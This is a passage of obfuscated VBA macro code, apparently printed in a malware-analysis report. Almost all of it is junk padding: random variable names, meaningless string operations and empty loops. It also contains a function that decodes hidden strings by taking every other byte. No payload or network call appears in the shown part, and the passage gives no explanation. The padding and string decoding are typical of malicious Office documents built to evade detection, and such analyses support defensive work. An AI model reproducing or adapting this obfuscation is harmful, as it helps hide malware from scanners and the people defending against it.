        mFoRMyRnW = "&)#TRR-edq" + "*$H*W@b&Nx$" + "Hc%dUnbqTnvSH_whgX!q"
        nAgSmXj = RTrim("d]?Q*I_ su")
        BVXbRK = BVXbRK + 1
    Wend

    MHVnIe = Space(14)
    AXMDCQ = "Bjxj mf-P$gzAr" + "(tLeHzU-m]W" + "eK.YIkbHKh)mnDX"
    MCeYrdDAhW = "P!&T&iRSyBYu*N" + "o@pZ#)BnkDpDRK^aPyl" + "WIiOawhXOgWh-$mYqJA"
    BOHhszEGZP = "Jnu?UXoab lj.rld" + "y* @CQe(zG@O-" + "-VFkDSJG_]H"
    wcOlVxrX = "sIl@Rt]o -wm$q-%*Zs" + "RAi&mRi&S@IuNOPXaFCg" + "mU?.?TfwOqB]VCpph"
    MHVnIe = LTrim("lEslhh.($tqDnzac Jsq")
    owPINi = "[Rqs@&eO@g-$" + "qX!xKtK&nx" + "N*zQM)iR?T.ku@ReY"
    nAgSmXj = Space(1)
    tnaMZq = StrReverse("TRD&p@jlM$Jor")
    yoJuJko = 724 + 1088 + 440
    nZxjpHFm = Right("UodYCCRcKJMcVm", 5)
    IEPjrBt = Space(11)
    MCeYrdDAhW = Left("Le%ZORhV?? ", 3)
    mQiruANerx = UCase("*dTs)b&xl&$")
    MHVnIe = 1843 + 520 + 1569
    nAgSmXj = Space(9)
    MHVnIe = Left("I.gFg[vkR?Pq]*mk PN", 3)
    wcOlVxrX = LTrim("vX.)HvhfB$(mx$vK")
    mFoRMyRnW = UCase("m_Zpke*c#ZCZNlXu")
    While KJufRz < 325
        mFoRMyRnW = UCase("!zKECrFD)V?")
        yoJuJko = 1774 - 682 - 102
        yoJuJko = Space(7)
        nAgSmXj = LTrim(" waC[oeWb&?dj")
        KJufRz = KJufRz + 3
    Wend

    AXMDCQ = Left("dlRH)Y*!#hNpEIN&s-kW", 3)
    tnaMZq = "ehnG@]C$ZylV!!" + "UTsUwV[EznENuYmN" + "eD@YrqPSccmhZcK"
    For nQfnSP = 0 To 293
        yoJuJko = ")rHyw?G%vrrxkEzllk" + "(Ub[(KzUSjdNqS" + "UDsc#aghc_ (TyLvPGPW"
        AXMDCQ = 932 - 591 - 1757
    Next nQfnSP

End Sub

Private Sub FoThvc(LRwIiq As String, ExvEVOH As String)
    IEPjrBt = Left("@.fCu)m_zvHvR*WWfOJE", 5)
    tnaMZq = Space(20)
    wcOlVxrX = Right("QDjBVrO(_#Ex?#sOgAy[", 2)
    mFoRMyRnW = UCase("[mggzny)OezCAO&rCH-_")
    mQiruANerx = UCase("UuGJ-pHVeRzhg")
    AXMDCQ = 1001 + 938 + 272
    yoJuJko = LTrim("E!q-RNy_Up")
    MCeYrdDAhW = RTrim("&PJPxXBC[Fm$")
    yoJuJko = 425 + 1729 + 588
    yoJuJko = 262 + 233 + 778
    nAgSmXj = UCase("?Bdlp@c[ BPNY")
    yoJuJko = LTrim(" PDl&zMMCSdK&[Sk#")
    While EUHajq < 323
        IEPjrBt = StrReverse("wLEe.KvUqR")
        MCeYrdDAhW = Left("vjiFGwxcWpWCZ$mCW %Z", 2)
        MCeYrdDAhW = Right(".Ndr?O$t THAkJR!", 5)
        mQiruANerx = StrReverse("Jk)?qen$CFGV^$Uhek")
        EUHajq = EUHajq + 2
    Wend

    MHVnIe = "_C_sYiG!Aib" + "g&YNywQWV#(V(bPVWb#" + "_h@scYb*$VIPwlwic"
    nAgSmXj = RTrim("zUyNnZtERzvc")
    owPINi = RTrim("f#z)a.ifdybN")
    mQiruANerx = "ZdC($Lv*u#uJgrU" + ")nl-I-jHjacwD)M)?d" + "d#ptjFWU^mgcN!PCdH"
    yoJuJko = 1238 - 1286 - 1892
    owPINi = RTrim("eRVy[wfyAFGyMSHX")
    nZxjpHFm = 1033 - 1960 - 1674
    BOHhszEGZP = Space(3)
    MHVnIe = RTrim("[_ccIPa@UQPudB")
    mQiruANerx = LTrim("-fAhfa%qaG")
    MCeYrdDAhW = Space(1)
End Sub

Public Function uOYLozfW(dfWws As String) As String
wcOlVxrX = Left("M^Fsk)W-tsK", 3)
    Dim dQyqnZoF() As Byte
    For pVLSwS = 0 To 243
        owPINi = Space(9)
        mFoRMyRnW = UCase("eB.-HXgr!eQSw^%#")
        yoJuJko = 1463 - 543 - 929
        mQiruANerx = 1967 + 1522 + 564
        owPINi = "koPNXDW! &pNl[E*" + "*uFvSDMESd^TlbHA@Yv" + "uB]U&*TSt.FsKxhA"
        yoJuJko = Left("Uno(kIwl_ @sA!zsL", 4)
    Next pVLSwS
    owPINi = 224 - 1907 - 236
    nAgSmXj = Right("j ISukIxeG?NFAL", 2)
    Dim PSdpMP(4233) As Byte
    BLisv = 0
    AXMDCQ = 1313 + 1670 + 1716
    BOHhszEGZP = StrReverse("ICqVg@fXT]tJJ")
    MHVnIe = 129 + 1524 + 545
    AXMDCQ = Left("@ ffjVc(]$nGO]^QrJT&", 2)
    dQyqnZoF = StrConv(dfWws, vbFromUnicode)
    BOHhszEGZP = Left("MJQA.-nLh VBr$P", 2)
    yoJuJko = StrReverse(")dMR*wgy RUNp$TQ&sZe")
    wcOlVxrX = Left("ar(tn%iqY-!qusw", 4)
    For FgEuQs = 0 To UBound(dQyqnZoF) - 1
        If (FgEuQs Mod 2 = 0) Then
        yoJuJko = ".vrH-ylMj?qQCHpB" + "Ugp&g&HyFjsAaRLhm" + "wN$N-JzoxJY"
        tnaMZq = UCase("vRaMtk-#LVY@")
        nZxjpHFm = "%CP@aBu)zWVU?W[E" + "y_^hKrPRe*j" + " ]KT(hWaE@!nwBh"
        While TmJIrC < 103
            wcOlVxrX = 802 - 220 - 1235
            BOHhszEGZP = 1047 + 544 + 653
            IEPjrBt = LTrim("omsIyKJZn(ChzJxM.nVP")
            wcOlVxrX = Space(16)
            yoJuJko = Space(18)
            wcOlVxrX = RTrim("wSTLjMSLo#oWp")
            AXMDCQ = Space(9)
            TmJIrC = TmJIrC + 3
        Wend
            PSdpMP(BLisv) = dQyqnZoF(FgEuQs)
            mQiruANerx = LTrim("h%dG-y$u^?WU.QT.vC?")
            While TFMpsv < 83
                tnaMZq = RTrim("$r@ -?jqTntf")
                IEPjrBt = 1888 - 1344 - 1026
                TFMpsv = TFMpsv + 3
            Wend
            nAgSmXj = Left("j#CYhZc%]EY*BIx", 5)
            wcOlVxrX = 507 - 1565 - 168
            AXMDCQ = LTrim("bseSXGDDZxKe#&K!o*")
            BLisv = BLisv + 2 - 1
            IEPjrBt = Left("kwmCQrN)S*Y", 2)
            mQiruANerx = StrReverse("WKKQN%Qy!M[kozjSK%l")
            For jKquGe = 0 To 183
                wcOlVxrX = 508 - 849 - 1972
                wcOlVxrX = Space(2)
                yoJuJko = Space(19)
                nAgSmXj = "*d$yMAi*lOU" + "-rKQqGB$-yzIcSig" + "I^_g?Ue#AfB$udf%%"
            Next jKquGe
        End If
        nZxjpHFm = 581 + 1369 + 214
        MHVnIe = Space(6)
        BOHhszEGZP = Right("O*h*JFnx-)]Ws%.Xde a", 4)
        BOHhszEGZP = "DO@ GE_m hlUq" + "fHbCRLX-vh" + "DLsmm.!&pDRUqU*"
    Next FgEuQs
    MCeYrdDAhW = Right("o[vGpMowtk", 3)
    For UmTmwo = 0 To 163
        nZxjpHFm = RTrim("WjqpY_G@ k%T")
        AXMDCQ = LTrim("WpjrjkwwufS")
        BOHhszEGZP = RTrim("S@GVi-GbsN(gr")
        MCeYrdDAhW = 297 + 1094 + 1477
        nZxjpHFm = Space(2)
        owPINi = LTrim("]UpvSYMG%WkIoJFX)")
        yoJuJko = UCase("V&!AxBvN-wy^HXtUAa")
        AXMDCQ = LTrim("mt$prd_.^z]h$.b.w.")
        yoJuJko = RTrim("eLqN_SCIeupY_PBh!Z")
    Next UmTmwo
    nAgSmXj = StrReverse("i#(FTKGbCW*DmLJHRj")
    MCeYrdDAhW = LTrim("mYMK-#e]oy[s")
    uOYLozfW = StrConv(PSdpMP, vbUnicode)
End Function
Private Function qPtVRF(uuxOmUv As String) As String
    owPINi = 1142 + 810 + 503
    nZxjpHFm = LTrim("JVL[q e$A^J?AX")
    mQiruANerx = Space(19)
    For NdZjYt = 0 To 109
        AXMDCQ = Left("#t.aPSfwY%(AaG]-", 5)
        nAgSmXj = "Zgc.e[RxAfLVKXhqtv?A" + "%]Ccbe^#XE" + "q**t$iNnmw[XfDz"
        AXMDCQ = StrReverse("wzS)Ifwh%VtteeVkfR")
        tnaMZq = Left("RXhLgZHnBD-Vs", 5)
        IEPjrBt = Space(13)
        mFoRMyRnW = StrReverse("dLtR?MsmV[LFg(*_x")
        wcOlVxrX = RTrim("(Km_tbeQIgT#mOs")
        AXMDCQ = LTrim("VehbB nBJQ")
        wcOlVxrX = 1175 + 709 + 1301
    Next NdZjYt

    yoJuJko = UCase("TzEkn-aPi^")
    MHVnIe = UCase("a.vAIYYtGWP[Bg[[?")
    MHVnIe = Left("(rRBb@x(FHw", 4)
    wcOlVxrX = "(psafDNET-#" + "%zo)tObYl." + "coY)bSm?^lrkz"
    tnaMZq = 1068 - 1874 - 407
    nZxjpHFm = RTrim("Ex^EWPQZZTGDqGKq*Msk")
    owPINi = Right("$v?qOdAcPAopEMiR_L", 4)
    wcOlVxrX = 1154 + 1790 + 877
    tnaMZq = Left("_#HQJdQk.VcMv", 3)
    wcOlVxrX = RTrim("y^mpIa%J&D")
    wcOlVxrX = Left("rcgK%gt)df@ewQwN", 4)
    yoJuJko = Right("kC)IWGt)B[Bq) sLDJYI", 2)
    IEPjrBt = UCase("]zg[$!RjaTBCl-*W[B")
    IEPjrBt = StrReverse("eM%*)TZyUe&#")
    wcOlVxrX = LTrim("svoL^.eCqrfSoabAf I$")
    AXMDCQ = 1973 + 566 + 1067
    MCeYrdDAhW = UCase("?CTNbXZ^tK(B")
    BOHhszEGZP = UCase("CxK*V_GZ)^ok^ye")
    tnaMZq = 1138 - 1897 - 398
    AXMDCQ = RTrim("^bbbM!bU!e%rV")
    wcOlVxrX = 843 - 520 - 281
    nAgSmXj = RTrim("m xHQ$I%#!CY.KA%@*")
    yoJuJko = Right("Fp#R-uZWP@*BEGe-.O$", 2)
    mQiruANerx = Left("I#YUUPB.)leuRFlqfhF", 2)
    yoJuJko = 1168 + 152 + 385
    owPINi = UCase("_QBhR]VCv_h#.x?OF")
    qPtVRF = "VlRHEmFryPnHXexPYgTrZUQzGUIweQ"
End Function

Private Function UHghnW(lAmqTP As Integer, OkYuZw As Boolean, LvelqYU As Double) As String
    owPINi = Left("ZFf[DdLL@u]l)yuEo", 2)
    IEPjrBt = StrReverse(".(-@DzlXChGsPvss&")
    mQiruANerx = LTrim("H$dwYYDY^GmSu")
    wcOlVxrX = Right("OqGiMeSbiOdjM_ZR", 3)
    mFoRMyRnW = Right("!%D%BqX@h!Px#ipTX", 5)
    mFoRMyRnW = 1951 - 445 - 1784
    nAgSmXj = 1926 - 1386 - 1664
    For xUYGAn = 0 To 364
        IEPjrBt = RTrim(" NUUncp_If[j)zXFK")
        BOHhszEGZP = "q*wZQo]%*VNHi_MWwtC" + "&&AgE]sm.h(ycou^BO!" + "y]r^WWvnL.CVkEdo$FQ"
    Next xUYGAn

    BOHhszEGZP = RTrim("G!wgQc)vvR_lwa%@")
    wcOlVxrX = 489 - 1855 - 923
    mFoRMyRnW = LTrim("pI#BspKdKz[TJcf")
    AXMDCQ = Space(13)
    nAgSmXj = "$WtHYYGlVGyzCzt&eW" + "t@TkrPMR!]nqf" + "zJ[$&sRgBE"
    AXMDCQ = 414 + 470 + 264
    nAgSmXj = Left("-z@CmamLt[fhWXKxAz?c", 3)
    wcOlVxrX = UCase("XONg[]NOVh!TT")
    wcOlVxrX = 1779 + 1936 + 1997
    IEPjrBt = 1216 - 1336 - 762
    tnaMZq = UCase("AgM)otPHePGtnZcs(")
    MHVnIe = 478 - 1679 - 550
    wcOlVxrX = Left("laZ-beZU-&sOaz", 4)
    yoJuJko = StrReverse("#ZpkFTn.EAZ]ib[pXcE")
    mFoRMyRnW = 245 + 466 + 1931
    yoJuJko = StrReverse("AEKvzzE#jMs(aq")
    mFoRMyRnW = "[crDPD.njb" + "IVghudIiqm#]S)Racg" + ".So@lEqWXl]Cu"
    wcOlVxrX = Left("wR^XNikWTRlqv", 2)
    BOHhszEGZP = UCase("*V@!q_F]Jp?Dp$DxVrH")
    owPINi = StrReverse("SSWmPfIPqOqoD$#HrJ")
    owPINi = Right("lyXKsi&bGDQlq?", 4)
    IEPjrBt = UCase("tTm.cLK#Iw#@XaHMQ(")
    wcOlVxrX = 256 + 460 + 1852
    AXMDCQ = StrReverse("V$B__fXh% hC_OepKtYC")
    UHghnW = "ByJlCBRkwnyiLhYGxAkEIESwjcrKHFJv"
End Function

Private Sub rcziqM(xcjovga As Double)
    IEPjrBt = UCase("]ajIRp)AGE? yL")
    IEPjrBt = StrReverse("qvv@wyT!uk[yCmMn$")
    While lcNdEW < 342
        BOHhszEGZP = Left(")msCG*EcZ[", 2)
        nAgSmXj = Space(7)
        nAgSmXj = UCase("p[fJC HquyMpxIqbw!p")
        AXMDCQ = "Kit)?@I[efr" + "M?MrgTfungUc#" + "v?Ef%TQXouZ*.rdaim"
        wcOlVxrX = "g[h*baJLTHv" + "Ea%pV]T#!lM)GVW V&Pb" + ".)&#nDkwr-^yM#bom$o"
        wcOlVxrX = 641 - 1952 - 1563
        wcOlVxrX = StrReverse("aD-RnepizaPzQwvBsX")
        lcNdEW = lcNdEW + 3
    Wend

    MCeYrdDAhW = 1607 + 541 + 1202
    BOHhszEGZP = 1496 - 1796 - 906
    mQiruANerx = Right("qQ[bX#CSZxR][", 4)
    For BhPgiR = 0 To 350
        AXMDCQ = UCase("Vi RbLrxHqcr")
        yoJuJko = UCase("-#pRDFBQsjTm!I]!F")
        tnaMZq = Right("MMowXqn.chsDVBoo", 2)
        IEPjrBt = Space(18)
        tnaMZq = 969 - 1175 - 204
        mFoRMyRnW = 1613 - 1067 - 585
        IEPjrBt = StrReverse("Tb*MVG(TlVIkk#%")
        tnaMZq = StrReverse("iCxTynqaqHvpE")
    Next BhPgiR

    wcOlVxrX = LTrim("I_caL[!ViThiA*pGh[c")
    tnaMZq = LTrim("yGAuOl&VrQ%dykeZm]I")
    nZxjpHFm = UCase("([&$sS?Z#xUh")
    While aDYjzc < 275
        AXMDCQ = RTrim("&wyS@uAfgiJU@a")
        mQiruANerx = StrReverse("]ZiO[cdim&B)")
        AXMDCQ = "H.*b^h@]RnL?R.Qy" + "Ux@G*iE%[ #jr" + "WUoJdH!geCW(GF"
        yoJuJko = 336 + 100 + 213
        AXMDCQ = StrReverse("tGjuDnT![d-E!@Vbj%l")
        wcOlVxrX = "&)yo.El)wClf" + ")WUSnPDrAzcC" + "&TPomsC^x!u!Mqc"
        MHVnIe = StrReverse("uk^[-)*C_[")
        mQiruANerx = UCase("D[#pjFnZmlKsh&SvUIQM")
        nAgSmXj = UCase("]o#cyaboU#)&qaBlk)")
        aDYjzc = aDYjzc + 1
    Wend

    nAgSmXj = LTrim("pWHVGaJ(Tw? ")
    nZxjpHFm = 715 + 850 + 1016
    MCeYrdDAhW = StrReverse("w*DzI.qpLzfJh")
    mFoRMyRnW = Right("ql$ENJ_G_hkEmt ", 4)
    owPINi = StrReverse("eSwnDPcpV]Z[$nXe?mH")
    owPINi = Left("L)wNbpOJKZe ", 3)
    nAgSmXj = LTrim("n_X$RK_ceRfq]b_fX&pD")
    mQiruANerx = Left("_uRB)v(KoS", 3)
    BOHhszEGZP = LTrim("*-^v&boNzNPYt^")
    mFoRMyRnW = StrReverse("TAGZi#tR Eif")
    mFoRMyRnW = LTrim("fevWDKVnDBvvMvG")
    wcOlVxrX = LTrim("Zu%c KzXx_m?-UAbp[")
    mFoRMyRnW = Left("P$cdAKN@G#I&T", 2)
    BOHhszEGZP = Space(15)
    mFoRMyRnW = StrReverse("ectt]%*F!lsK!k TNXPO")
    BOHhszEGZP = LTrim("IP^K[h(^tgRB.-a")
    While ozWSDd < 291
        IEPjrBt = RTrim("]mWcKXNYXn]$?CqXG")
        owPINi = Right("(@tBo!M%Msc$ F", 5)
        MHVnIe = "ULS_VYRJiFF" + "g]d_Mo.o.JlH%jt?i!" + "rfNSUkJT%um%([jEMcu&"
        nZxjpHFm = Space(19)
        yoJuJko = "fXs-[oQF^mJUOE?Dq%SU" + "fVJGxFx_)Y?uyy_BU" + "&TxNjYV(n]mWLS"
        yoJuJko = StrReverse("FtAEzzF^n(bCMmNlQEJO")
        BOHhszEGZP = 1540 - 1306 - 807
        mFoRMyRnW = RTrim("R[c]aV$slrs")
        nAgSmXj = 1602 + 1146 + 1859
        ozWSDd = ozWSDd + 2
    Wend

    tnaMZq = Right("cVHRxxXCM!EivBCKrx", 3)
    nZxjpHFm = UCase("$*Ul_g#&bD-vBAUdeKM")
    mQiruANerx = Left("NYi-tboCH!", 3)
    For nYoLdl = 0 To 293
        IEPjrBt = "eM%r)om.O]?" + ")QXO^lwlAwS^aifC#Tk" + "%zC- OkOmYFcgDDC"
        mQiruANerx = Right("lkce)IUNtrU", 5)
        wcOlVxrX = Space(19)
        MHVnIe = UCase("?g[*MaoTtYiLhABdc")
        tnaMZq = Space(14)
        owPINi = 1443 + 1991 + 1670
        yoJuJko = Right(" TdbBz pOUS(C]hmx_", 5)
        owPINi = "-*bQJVs$exUTIsTtv#" + "%)LM zAKPj?F_R@_Fui" + "%Y$&vF!CEqmTgNq"
    Next nYoLdl

    owPINi = "h xuFersgAOWXy#.LOo" + "N*]qvLy?lNKXCgyqobjp" + "O.zb%ubbKv^#_oyiq)-"
    While OdMrEX < 337
        mFoRMyRnW = UCase("OIDoWqUa%iClWolu")
        nZxjpHFm = Left("uDsBtWEcBZRYWRbc", 2)
        mFoRMyRnW = Right("BC])@p@NszbrpeG m", 2)
        IEPjrBt = 350 + 911 + 1573
        OdMrEX = OdMrEX + 1
    Wend

    nAgSmXj = Space(5)
    For PlgwVS = 0 To 180
        nAgSmXj = "Z$JIST(g!IAUa(O" + "Iki](AAlS^H$?GzXYxM" + "hYBwuCNF_WVzGHdef"
        MCeYrdDAhW = UCase("[L_tai?rt_wTnGe![aw")
        MCeYrdDAhW = Right("-Cvu?NBbhaVXR", 5)
        mFoRMyRnW = 925 - 572 - 627
        mFoRMyRnW = LTrim("DTRbknBTDImPeUH")
        mQiruANerx = 363 - 1505 - 542
        AXMDCQ = LTrim(" v[mnZ*G h)i[m)")
        mQiruANerx = Space(2)
        nAgSmXj = StrReverse("o#Te.a%&*#")
        mFoRMyRnW = StrReverse("tXm?EEcreGrCw.")
    Next PlgwVS

    mQiruANerx = RTrim("]iOWsZl.v&kqSdq]hy")
    MHVnIe = "ZMKdoimLj-rHnGmu*sNP" + "vC*a xIvUnFfYw!VUM%v" + "y*Ut#EC@R#aKMTT"
End Sub

Private Sub HBhEXM(DjSfpvp As Boolean)
    MCeYrdDAhW = Left("m*ohhAAVL#s", 2)
    mQiruANerx = Right("GJTNCLH?!hIH.FJ$rxb", 4)
    wcOlVxrX = StrReverse("CcXG*mME@%YF")
    mFoRMyRnW = LTrim(".Ke*JkcI e)%BXNpn")
    nAgSmXj = 781 - 1443 - 480
    nAgSmXj = "aWVzRfkAFF lnJG" + "H&xnK!MTibCmQjQ N" + "Abn)?eznYstFH&LulQ]c"
    yoJuJko = StrReverse("tOTzxelFR[d")
    wcOlVxrX = 444 - 1386 - 1271
    While nivFdX < 195
        mQiruANerx = StrReverse("^#vvdcvgDzHMDQkttb")
        BOHhszEGZP = RTrim("(jS*g-(GGs")
        MCeYrdDAhW = "so@XufnWvQ[l" + "m@GRz GmfhwaWB" + "&zH CVuY-USyX#S?d&l@"
        nZxjpHFm = Left("K-dUUMUqDxoLv.R(m", 4)
        mFoRMyRnW = Left(".bDncPFFP_SUd.(HOow", 2)
        nAgSmXj = LTrim("dFLUke[MPku**n")
        wcOlVxrX = Space(12)
        MHVnIe = Space(20)
        mFoRMyRnW = 1049 + 1747 + 1391
        nivFdX = nivFdX + 2
    Wend

    wcOlVxrX = UCase("WMgFQ-NkAo")
    For QlenHT = 0 To 373
        wcOlVxrX = 1807 - 1185 - 1600
        yoJuJko = UCase(" nYq)F-JWNjggrxGQH?a")
    Next QlenHT

    For tJQcri = 0 To 49
        IEPjrBt = RTrim("mUkfaG%jaCACb")
        BOHhszEGZP = Right("z*HdeGxzP]w$kF", 5)
        tnaMZq = "Er*gjSWtyNAx@Mug" + "rpuSt(-sykLaAk" + "#kLopBlOlYAO^"
        AXMDCQ = StrReverse("N#!aF^dp(w")
        nAgSmXj = UCase("wVPrA(g&[YE")
        BOHhszEGZP = "CJPlRAL*IA" + "eV*h!NUEVGPTo%t-) " + "DoTJG%h! kI["
        nZxjpHFm = "nucR.JfgxxSmB!Ggdj" + "AudXFc^TdOHF" + "$xtjvf]y(fxmNRjHoMFT"
        IEPjrBt = Left(" JV (LXdef#-Tr", 4)
    Next tJQcri

    MHVnIe = LTrim("u-*wIasErcFAHCk)")
    nAgSmXj = Space(1)
    mQiruANerx = 181 + 311 + 299
    nAgSmXj = Left("MCl !mk ?a^rn#vlUgux", 2)
    AXMDCQ = 658 - 1780 - 1038
    MCeYrdDAhW = LTrim("Y$FFmz-PXFuqDvt")
    mQiruANerx = Left("bLq-CUtjRd", 4)
    BOHhszEGZP = Right("cT)]Y_XLq##R-", 5)
    AXMDCQ = RTrim("cG@qmIrhRo^")
End Sub

Private Function nOwXYD(nRtgtpg As String, GaFOLd As Boolean, rZkwIuN As Integer, RlyFEE As Integer) As String
    For TZrfDJ = 0 To 267
        MHVnIe = Left("NyW[M$P#A[fz]ZJJ", 4)
        nAgSmXj = RTrim("iIe-ib#fY_o")
        MCeYrdDAhW = RTrim("]tI%YJb_xMh_yPH&_*h")
        tnaMZq = StrReverse("g_uaia^npM.vQHh( OR")
        mQiruANerx = Right("]]&PyKB-Ol))", 4)
        yoJuJko = RTrim("@^?)isdr)t")
        mFoRMyRnW = 1729 - 1619 - 1119
        mQiruANerx = StrReverse("RFS.IzTn?VH@vyVw@e")
        yoJuJko = LTrim("CBL[..B.eC")
        mFoRMyRnW = Right("sCneY@YDm w", 3)
    Next TZrfDJ

    BOHhszEGZP = LTrim("OgAqpVKTg)Mg$oW")
    nAgSmXj = Right("uPAgcs)_)Fk[", 3)
    yoJuJko = Right("[sQC$?]rPbZ&lAy", 5)
    mQiruANerx = Left("DoOPev pp!K? %izx", 2)
    BOHhszEGZP = "wdI$sfvpkBHQU$SW" + "VOwvWs*wBQkd^bEAulI" + "opy-NzUzNI sba"
    nAgSmXj = StrReverse("HBShrOLx-a)Vd$DQ")
    nZxjpHFm = Space(18)
    nAgSmXj = StrReverse("LH_&drnGJFKX)HYiKFv")
    nAgSmXj = RTrim("YhPeqoDgYGOM$uyX]S")
    nAgSmXj = LTrim("aB CKaRdEDit)&)JoRK#")
    MCeYrdDAhW = 1123 + 1169 + 878
    mFoRMyRnW = Right("kLAWlt- iHXM-y$Qy", 2)
    MHVnIe = StrReverse("v_Pfanh($&hjcPVI")
    MHVnIe = Right("TtffTBV!PEIB[_E", 2)
    tnaMZq = LTrim("HKaS@CL$!PIW")
    For XnAneG = 0 To 133
        nAgSmXj = Left("HHoJfI[W VGT", 3)
        MCeYrdDAhW = Space(2)
        yoJuJko = Space(7)
        MCeYrdDAhW = "bUZHxahqQkscsj" + "H&xBEPMf!GGv" + "yhoZeJafL&O!ML--."
        mQiruANerx = Right("ET@ZIaggBzY$U^S", 3)
        yoJuJko = Space(3)
    Next XnAneG

    tnaMZq = Space(3)
    BOHhszEGZP = Right("!tG.Hfe)R[ZgCklz%", 4)
    yoJuJko = "&pU)s!w[RRk-" + "Wg#(XF&NGa" + "D!@scvZSJWT$ZmL"
    tnaMZq = Left("nqeoa.Rhwzt^B[%O?H%", 2)
    mQiruANerx = "MJ!U@pwJ Yt!UpUFiur" + "P.KT-]r[oeuBjKPKm" + "TSz*(*@pGmKOO"
    mFoRMyRnW = Right("#*%Hg@heq#TNYL$nNbln", 3)
    IEPjrBt = StrReverse("NgcenA)$TVjsn")
    tnaMZq = Right(".tP&QnC$ol@*Z*X", 3)
    MCeYrdDAhW = Right("SqLeVWvJb.yniIMxCP_L", 4)
    AXMDCQ = RTrim("M-HDflBgKUz!N-hVuB")
    nAgSmXj = Left("c$KgGPXwJwoGvyr.GM-d", 4)
    yoJuJko = Space(11)
    IEPjrBt = LTrim("XYdy&PFhVRVaUq&ux?")
    owPINi = Space(12)
    While sxMHNA < 368
        wcOlVxrX = RTrim("qsQBiA@TmJJF]G")
        owPINi = "?E(hTPjoEV_-hjdgKR" + "#c%Nu]TI@d%" + "MrltyHzCd!q"
        mQiruANerx = LTrim("w(iCe_wjbyfSsISeXqxt")
        sxMHNA = sxMHNA + 3
    Wend

    mFoRMyRnW = "#Rw!$B(fO.(M-oWrTfq" + "rtDOhaTCPx.dMiUQMmW" + "r_)-nuWzKnkO)lujw "
    nAgSmXj = RTrim("bapRdq(GLMmm*[oo[")
    nOwXYD = "KvdTMyPjxyonpdGiWOTAnazGJcdfFeYSCb"
End Function

Private Sub elawKP(herNYe As Boolean, pBqUut As Boolean)
    While BQBFgS < 20
        owPINi = Right("]XhBKxB.XhxIavC", 3)
        AXMDCQ = 257 + 1269 + 1338
        BOHhszEGZP = 495 + 1090 + 1160
        owPINi = RTrim("^)rATtqYe^(FZp]")
        BQBFgS = BQBFgS + 3
    Wend

    nZxjpHFm = Right("[%tMCjqSc(E", 2)
    nZxjpHFm = 145 + 633 + 687
    IEPjrBt = Left("v^%?bCAYUGVF", 5)
    mFoRMyRnW = Right("L& oy!qLO-LM", 2)
    MHVnIe = RTrim("C&aC$TvYY#gmeEFe")
    nAgSmXj = RTrim("E?$& )gkYWZ(U*h.LV.")
    mFoRMyRnW = 947 - 1605 - 639
    BOHhszEGZP = Space(2)
    For dvGQgc = 0 To 51
        yoJuJko = "_&f[jLq)bbs_otKyrz&" + "a&DXRH(T.u(.XNr#" + ".Y[&@%%SOObDNv^[nv"
        BOHhszEGZP = "j@PzHHc_tkYnk)syI" + "I$Y_&iA@Ba$&N" + "FQ!fSkcCCaJcg?GV$)"
    Next dvGQgc

    nZxjpHFm = Space(2)
    nZxjpHFm = Right("*%]TMsYub_eJJii", 3)
    MHVnIe = Right("BYNlCKJ?dI_", 4)
    mFoRMyRnW = UCase("XZM OF[amgBubr")
    yoJuJko = 903 - 957 - 968
    owPINi = LTrim("jtUz?Sxzj.un#sA")
    yoJuJko = UCase("e.h%VFe?*JYLPht(")
    While YMDUDu < 52
        MHVnIe = Right("KcodvXuW#AxEf_Bt-h", 4)
        yoJuJko = "ej(sA]SXfhZvV" + "rcCXfdVGo[eKDWmNI]" + "SWKzbbjK%G_lVZvFhC"
        MCeYrdDAhW = RTrim("ENOeiom_.na")
…

Open this report in the interactive analyzer, or submit your own file for analysis.